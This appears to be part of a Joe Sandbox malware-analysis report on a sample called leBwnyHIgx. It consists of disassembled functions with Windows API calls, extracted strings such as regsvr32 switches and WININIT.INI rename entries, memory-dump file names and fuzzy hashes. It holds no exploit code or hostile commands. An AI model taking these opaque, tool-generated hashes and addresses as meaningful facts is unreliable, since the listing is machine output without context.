Part of subcall function 005B09C4: GetSystemDirectoryW.KERNEL32(?,00000104), ref: 005B09D7

CloseHandle.KERNEL32(?,?,00000044,00000000,00000000,04000000,00000000,00000000,00000000,00619D70,?, /s ",0066978C,regsvr32.exe",?,00619D70), ref: 00619CDE

Strings

regsvr32.exe", xrefs: 00619C0F
D, xrefs: 00619C94
Spawning 32-bit RegSvr32: , xrefs: 00619C73
Spawning 64-bit RegSvr32: , xrefs: 00619C59
CreateProcess, xrefs: 00619CD0
/u, xrefs: 00619C2A
0x%x, xrefs: 00619D01
/s ", xrefs: 00619C37

Memory Dump Source

Source File: 00000005.00000002.4132314048.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.4132290502.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132498745.000000000065D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132525613.000000000065E000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132556469.000000000065F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132582325.0000000000661000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000663000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000668000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.000000000066B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132681293.000000000066D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132708640.000000000066F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132730286.0000000000670000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132753857.0000000000672000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: CloseDirectoryHandleSystem
String ID: /s "$ /u$0x%x$CreateProcess$D$Spawning 32-bit RegSvr32: $Spawning 64-bit RegSvr32: $regsvr32.exe"
API String ID: 2051275411-1862435767
Opcode ID: bb828082893d3c3d641e3fdd4af0eaaf4cc23e92c20017eec766e67e36a9a3d6
Instruction ID: 91a7d65596da60d3ab410b317687a4738a38aed02517376cad794b957d245f8b
Opcode Fuzzy Hash: bb828082893d3c3d641e3fdd4af0eaaf4cc23e92c20017eec766e67e36a9a3d6
Instruction Fuzzy Hash: A5413F70E0024C9BDB14EFE5D892ADDBBBAAF49304F64407EE504B7282D7746E44CB65

Function 0040430C Relevance: 12.2, APIs: 8, Instructions: 221sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000000,?,00000000,02683360,0040763A,?,00000000,02683360,004072DD,00000000,00000220,0042715C,?,004271AA,005B1257,00000000), ref: 004043A2
Sleep.KERNEL32(0000000A,00000000,?,00000000,02683360,0040763A,?,00000000,02683360,004072DD,00000000,00000220,0042715C,?,004271AA,005B1257), ref: 004043BC

Memory Dump Source

Source File: 00000005.00000002.4132314048.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.4132290502.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132498745.000000000065D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132525613.000000000065E000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132556469.000000000065F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132582325.0000000000661000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000663000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000668000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.000000000066B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132681293.000000000066D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132708640.000000000066F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132730286.0000000000670000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132753857.0000000000672000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 01c8de7d1c52f1379436ba32370cb002541e89dbe2850501a5063f81bbc03de1
Instruction ID: 18b38d09955f91067994ce57c2704c259faaba03eea283e8c2a7273f2993d898
Opcode Fuzzy Hash: 01c8de7d1c52f1379436ba32370cb002541e89dbe2850501a5063f81bbc03de1
Instruction Fuzzy Hash: E97132716043104BD315DF69C984B16BBD8AFC5315F1482BFE984AB3D2C7B8C901CB89

Function 005A2B7C Relevance: 12.1, APIs: 8, Instructions: 99windowthreadCOMMON

Download Yara Rule

APIs

GetCapture.USER32 ref: 005A2BA2
IsWindowUnicode.USER32 ref: 005A2BE5
SendMessageW.USER32(00000000,-0000BBEE,00000000,?), ref: 005A2C00
SendMessageA.USER32 ref: 005A2C1F
GetWindowThreadProcessId.USER32(00000000), ref: 005A2C2E
GetWindowThreadProcessId.USER32(?,?), ref: 005A2C3F
SendMessageW.USER32(00000000,-0000BBEE,00000000,?), ref: 005A2C5F

Memory Dump Source

Source File: 00000005.00000002.4132314048.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.4132290502.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132498745.000000000065D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132525613.000000000065E000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132556469.000000000065F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132582325.0000000000661000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000663000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000668000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.000000000066B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132681293.000000000066D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132708640.000000000066F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132730286.0000000000670000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132753857.0000000000672000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: MessageSendWindow$ProcessThread$CaptureUnicode
String ID:
API String ID: 1994056952-0
Opcode ID: 79780fc3bec1803b35e57a68d2ec923f4b549fb1d4fc9166e9bf7d30cdcaf988
Instruction ID: 4dfba5f3d1d218beddb166fd502ba4ee7a64a30cf6ddade1315904ca74e7163d
Opcode Fuzzy Hash: 79780fc3bec1803b35e57a68d2ec923f4b549fb1d4fc9166e9bf7d30cdcaf988
Instruction Fuzzy Hash: 51219CB12046096FA620FA5DCA82FAF77DCEF06724F10842AF959C3242EA54FC509774

Function 00404504 Relevance: 10.9, APIs: 7, Instructions: 406COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.4132314048.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.4132290502.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132498745.000000000065D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132525613.000000000065E000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132556469.000000000065F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132582325.0000000000661000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000663000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000668000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.000000000066B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132681293.000000000066D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132708640.000000000066F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132730286.0000000000670000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132753857.0000000000672000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_leBwnyHIgx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 68bf383cb7f79b99f340bdf26841dbaafbf7dd31d34f85d7c5e7cd938e48f808
Instruction ID: 291e5d107d462672790c1edf6ff7d0cc3542d77857f31f2adbac887a00927ee5
Opcode Fuzzy Hash: 68bf383cb7f79b99f340bdf26841dbaafbf7dd31d34f85d7c5e7cd938e48f808
Instruction Fuzzy Hash: 17C117A2B102010BD714AE7DDC8476EBA999BC5316F18827FF214EB3D6DA7CDD058348

Function 005F8EF4 Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 216COMMON

Download Yara Rule

APIs

WritePrivateProfileStringW.KERNEL32(00000000,00000000,00000000,00000000), ref: 005F8FDA

Strings

WININIT.INI, xrefs: 005F8F88
[rename], xrefs: 005F903E, 005F907A
.tmp, xrefs: 005F8F96
NUL, xrefs: 005F909D
MoveFileEx, xrefs: 005F91E4

Memory Dump Source

Source File: 00000005.00000002.4132314048.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.4132290502.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132498745.000000000065D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132525613.000000000065E000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132556469.000000000065F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132582325.0000000000661000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000663000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000668000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.000000000066B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132681293.000000000066D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132708640.000000000066F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132730286.0000000000670000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132753857.0000000000672000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: PrivateProfileStringWrite
String ID: .tmp$MoveFileEx$NUL$WININIT.INI$[rename]
API String ID: 390214022-3304407042
Opcode ID: 72d01abfe8e5969de7e26bb812fea71a54af99fa0a185ea00ff7a95313d2a991
Instruction ID: 2223d5580d9881282453f8846468d4fa0c2eade89701c8d1d1552e55bc4b479c
Opcode Fuzzy Hash: 72d01abfe8e5969de7e26bb812fea71a54af99fa0a185ea00ff7a95313d2a991
Instruction Fuzzy Hash: A6811E34A0060DAFDF10EBA4C986BEEBBB5FF88304F504465E600B7291DB79AE45CB55

Function 00407368 Relevance: 10.6, APIs: 7, Instructions: 130threadCOMMON

Download Yara Rule

APIs

Part of subcall function 00407828: GetCurrentThreadId.KERNEL32 ref: 0040782B

GetTickCount.KERNEL32 ref: 0040739F
GetTickCount.KERNEL32 ref: 004073B7
GetCurrentThreadId.KERNEL32 ref: 004073E6
GetTickCount.KERNEL32 ref: 00407411
GetTickCount.KERNEL32 ref: 00407448
GetTickCount.KERNEL32 ref: 00407472
GetCurrentThreadId.KERNEL32 ref: 004074E2

Memory Dump Source

Source File: 00000005.00000002.4132314048.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.4132290502.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132498745.000000000065D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132525613.000000000065E000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132556469.000000000065F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132582325.0000000000661000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000663000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000668000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.000000000066B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132681293.000000000066D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132708640.000000000066F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132730286.0000000000670000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132753857.0000000000672000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: CountTick$CurrentThread
String ID:
API String ID: 3968769311-0
Opcode ID: fa560ec336dd6435e73473a6e2aefd0ccb444b59d075b010f8b419752d8e835c
Instruction ID: 7eaf3b8bd419559424612c501055e418296922ef1fbe2de70383ecb09e47f5c1
Opcode Fuzzy Hash: fa560ec336dd6435e73473a6e2aefd0ccb444b59d075b010f8b419752d8e835c
Instruction Fuzzy Hash: 67414F71A0C3559ED721AE38C48431FBFD1AB80354F14893EE8D8973C2E778A8859757

Function 005A2DDC Relevance: 10.6, APIs: 7, Instructions: 105windowCOMMON

Download Yara Rule

APIs

PeekMessageW.USER32 ref: 005A2DF0
IsWindowUnicode.USER32 ref: 005A2E04
PeekMessageW.USER32 ref: 005A2E27
PeekMessageA.USER32(?,00000000,00000000,00000000,00000001), ref: 005A2E3D
TranslateMessage.USER32 ref: 005A2EC2
DispatchMessageW.USER32(?,?,00000000,00000000,00000000,00000000,?,?,?,?,00000000), ref: 005A2ECF
DispatchMessageA.USER32(?,?,00000000,00000000,00000000,00000000,?,?,?,?,00000000), ref: 005A2ED7

Memory Dump Source

Source File: 00000005.00000002.4132314048.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.4132290502.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132498745.000000000065D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132525613.000000000065E000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132556469.000000000065F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132582325.0000000000661000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000663000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000668000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.000000000066B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132681293.000000000066D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132708640.000000000066F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132730286.0000000000670000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132753857.0000000000672000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: Message$Peek$Dispatch$TranslateUnicodeWindow
String ID:
API String ID: 2190272339-0
Opcode ID: fd761d7266132de43e7474990c2049500dae5730ede02df76ae55a535cf0bf77
Instruction ID: d2fd1ee5a8e11b9fb307f93f8c6e517243e3696a9ac5cec3ed267a911c5f8ddb
Opcode Fuzzy Hash: fd761d7266132de43e7474990c2049500dae5730ede02df76ae55a535cf0bf77
Instruction Fuzzy Hash: AB21D63034434176EB31A92D0D47BBFAF9E6F97748F24441EF481DB282CAD698D68226

Function 005B2830 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 91windowregistryCOMMON

Download Yara Rule

APIs

GetActiveWindow.USER32(00000000,005B2942,?,?,?,00000001,00000000,?,00619EC3,0066978C,?,00650D35,?,?,00000000,00650DBE), ref: 005B285F
GetFocus.USER32(00000000,005B2942,?,?,?,00000001,00000000,?,00619EC3,0066978C,?,00650D35,?,?,00000000,00650DBE), ref: 005B2867
RegisterClassW.USER32 ref: 005B2888
ShowWindow.USER32(00000000,00000008,00000000,00400000,00000000,41146400,00000000,00000000,00000000,00000000,80000000,00000000,00400000,00000000,00000000,00000000), ref: 005B2920
SetFocus.USER32(00000000,00000000,005B2942,?,?,?,00000001,00000000,?,00619EC3,0066978C,?,00650D35,?,?,00000000), ref: 005B2927

Strings

TWindowDisabler-Window, xrefs: 005B28BF, 005B2908

Memory Dump Source

Source File: 00000005.00000002.4132314048.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.4132290502.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132498745.000000000065D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132525613.000000000065E000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132556469.000000000065F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132582325.0000000000661000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000663000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000668000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.000000000066B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132681293.000000000066D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132708640.000000000066F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132730286.0000000000670000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132753857.0000000000672000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: FocusWindow$ActiveClassRegisterShow
String ID: TWindowDisabler-Window
API String ID: 495420250-1824977358
Opcode ID: dc80fc215540cc4eafb9e960a5d421e476d6a1d8b1644f478aa1b5a7317f9f00
Instruction ID: d82140f50c977c4be84b76ca69f426c0dffd831fcdb5b5c939c24f55dbe8d353
Opcode Fuzzy Hash: dc80fc215540cc4eafb9e960a5d421e476d6a1d8b1644f478aa1b5a7317f9f00
Instruction Fuzzy Hash: 1921D171B10701ABE320EF65DD02F9A7AE5FB45B04F504529F904FB2D0EAB8BC9087A5

Function 0063DBC0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 72fileCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll,GetFinalPathNameByHandleW), ref: 0063DBEC
GetFileAttributesW.KERNEL32(00000000,00000000,kernel32.dll,GetFinalPathNameByHandleW), ref: 0063DC05
CreateFileW.KERNEL32(00000000,00000000,00000007,00000000,00000003,00000000,00000000,00000000,00000000,kernel32.dll,GetFinalPathNameByHandleW), ref: 0063DC2F
CloseHandle.KERNEL32(00000000), ref: 0063DC4D

Strings

kernel32.dll, xrefs: 0063DBE7
GetFinalPathNameByHandleW, xrefs: 0063DBE2

Memory Dump Source

Source File: 00000005.00000002.4132314048.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.4132290502.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132498745.000000000065D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132525613.000000000065E000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132556469.000000000065F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132582325.0000000000661000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000663000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000668000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.000000000066B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132681293.000000000066D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132708640.000000000066F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132730286.0000000000670000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132753857.0000000000672000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: FileHandle$AttributesCloseCreateModule
String ID: GetFinalPathNameByHandleW$kernel32.dll
API String ID: 791737717-340263132
Opcode ID: 904617a2e49037e787060e302256d2bfdad1cab1979f73791d96504fdcffd84e
Instruction ID: 6026778cd775b34b266e918d1895d9f5e5aeea77bfc3c582f4084562949ce8b5
Opcode Fuzzy Hash: 904617a2e49037e787060e302256d2bfdad1cab1979f73791d96504fdcffd84e
Instruction Fuzzy Hash: AD11A9A175030526E62032AA6CC7FBBA14E8B51758F14023ABA54D72D2EDD99D4282DA

Function 005B8F18 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 57COMMON

Download Yara Rule

APIs

GetDC.USER32 ref: 005B8F29

Part of subcall function 004DD0C0: EnterCriticalSection.KERNEL32(?,00000000,004DD32F,?,?), ref: 004DD108

SelectObject.GDI32(006125F0,00000000), ref: 005B8F4B
GetTextExtentPointW.GDI32(006125F0,ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz,00000034,?), ref: 005B8F5F
GetTextMetricsW.GDI32(006125F0,?), ref: 005B8F81
ReleaseDC.USER32(00000000,006125F0), ref: 005B8F9E

Strings

ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz, xrefs: 005B8F56

Memory Dump Source

Source File: 00000005.00000002.4132314048.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.4132290502.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132498745.000000000065D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132525613.000000000065E000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132556469.000000000065F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132582325.0000000000661000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000663000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000668000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.000000000066B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132681293.000000000066D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132708640.000000000066F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132730286.0000000000670000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132753857.0000000000672000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: Text$CriticalEnterExtentMetricsObjectPointReleaseSectionSelect
String ID: ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz
API String ID: 1334710084-222967699
Opcode ID: 958775d07e3e9b45620c2f21b6b018f80563130afb076ad44b94cc2abff4fe22
Instruction ID: 51f75fe6070d711ca219fc08ac8bc05be8c07b0fd7becc7a938aa07a23ceff98
Opcode Fuzzy Hash: 958775d07e3e9b45620c2f21b6b018f80563130afb076ad44b94cc2abff4fe22
Instruction Fuzzy Hash: 28016D76B14608AFDB01DBE9CD41EEEB7BDEB49714F500466BA00D3281DAB8AD10C764

Function 004083B0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 40fileCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F5,Runtime error at 00000000,0000001D,?,00000000), ref: 004083E9
WriteFile.KERNEL32(00000000,000000F5,Runtime error at 00000000,0000001D,?,00000000), ref: 004083EF
GetStdHandle.KERNEL32(000000F5,00000000,00000002,?,00000000,00000000,000000F5,Runtime error at 00000000,0000001D,?,00000000), ref: 0040840A
WriteFile.KERNEL32(00000000,000000F5,00000000,00000002,?,00000000,00000000,000000F5,Runtime error at 00000000,0000001D,?,00000000), ref: 00408410

Strings

Runtime error at 00000000, xrefs: 004083E2, 00408427
Error, xrefs: 00408422

Memory Dump Source

Source File: 00000005.00000002.4132314048.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.4132290502.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132498745.000000000065D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132525613.000000000065E000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132556469.000000000065F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132582325.0000000000661000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000663000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000668000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.000000000066B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132681293.000000000066D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132708640.000000000066F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132730286.0000000000670000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132753857.0000000000672000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: FileHandleWrite
String ID: Error$Runtime error at 00000000
API String ID: 3320372497-2970929446
Opcode ID: 92e6fdd24f1f60eb182b72c0aadb941e414bd13305f3c1d9f226be0fde595ab1
Instruction ID: 8a17602c2e75a12023cfcc5c7f70c251d3057b547bf485000fb7f9983d30ebe3
Opcode Fuzzy Hash: 92e6fdd24f1f60eb182b72c0aadb941e414bd13305f3c1d9f226be0fde595ab1
Instruction Fuzzy Hash: 1AF046B0640341B9E720BB616D07F1A3A4D4740F26F00053FF550B93C2DEFA4A88836D

Function 0042CB08 Relevance: 9.1, APIs: 6, Instructions: 144COMMON

Download Yara Rule

APIs

SafeArrayGetLBound.OLEAUT32(?,00000001,?), ref: 0042CBBD
SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 0042CBD9
SafeArrayCreate.OLEAUT32(0000000C,?,?), ref: 0042CC12
SafeArrayPtrOfIndex.OLEAUT32(?,?,?), ref: 0042CC8F
SafeArrayPtrOfIndex.OLEAUT32(00000000,?,?), ref: 0042CCA8
VariantCopy.OLEAUT32(?,?), ref: 0042CCE3

Memory Dump Source

Source File: 00000005.00000002.4132314048.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.4132290502.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132498745.000000000065D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132525613.000000000065E000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132556469.000000000065F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132582325.0000000000661000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000663000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000668000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.000000000066B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132681293.000000000066D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132708640.000000000066F000.00000004.00000001.01000000.00000008.sdmpDownload File
